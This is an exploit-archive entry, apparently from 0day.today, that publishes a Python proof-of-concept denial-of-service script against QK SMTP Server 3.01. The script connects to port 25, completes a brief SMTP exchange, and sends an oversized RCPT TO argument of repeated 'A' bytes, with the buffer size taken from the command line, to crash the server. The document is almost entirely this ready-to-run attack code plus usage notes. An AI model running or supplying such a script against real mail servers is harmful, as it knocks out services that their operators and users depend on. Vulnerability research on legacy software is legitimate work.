QK SMTP Server 3 RCPT TO: Command DoS

=====================================
QK SMTP Server 3 RCPT TO: Command DoS
=====================================


# Author: antrhacks
# Software Link: http://www.qksoft.com/qk-smtp-server/download.php
# Version: 3.01
# Platform: Windows XP SP3 Home edition Fr
# Tested with buffersize: 4500, 5000
# Example: ./QKsmtp.py 192.168.0.10 4500
# Nota: Settings > Acces IP Control > Allow your IP

#!/usr/bin/python

#--------------------------------------------
# QK SMTP Server 3 RCPT TO: Command DoS
#--------------------------------------------

# Title:  QK SMTP Server 3 RCPT TO: Command DoS
# Author: antrhacks
# Software Link: http://www.qksoft.com/qk-smtp-server/download.php
# Version: 3.01
# Platform:  Windows XP SP3 Home edition Fr
# Tested with buffersize: 4500, 5000
# Example: ./QKsmtp.py 192.168.0.10 4500
# Nota: Settings > Acces IP Control > Allow your IP

import socket
import sys
 

 
def howto():
    print ("Usage: scriptname.py <IP> <BufferSize>\n")
 
def exploit(host):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        sock.connect((host, 25))
    except:
        print ("Unable to connect to host")
        sys.exit(1)
    r=sock.recv(1024)
    print r 
    r=sock.getsockname()
    print r
    sock.send("HELO localhost\r\n")
    r=sock.recv(1024)
    print r
    sock.send("MAIL FROM: [email protected]\r\n")
    r=sock.recv(1024)
    print r
    sock.send("RCPT TO: " + buffere + "\r\n") 
    r=sock.recv(1024)
    print r
    sock.send("QUIT" + " \r\n")
    r=sock.recv(1024)
    print r
    sock.close()
         
if len(sys.argv) <> 3:
    howto()
    sys.exit(1)
else:
    host=sys.argv[1]
    buffersize=int(sys.argv[2])
    buffere= "\x41" * buffersize
    exploit(host)
    sys.exit(0)
 
# END



#  0day.today [2018-04-13]  #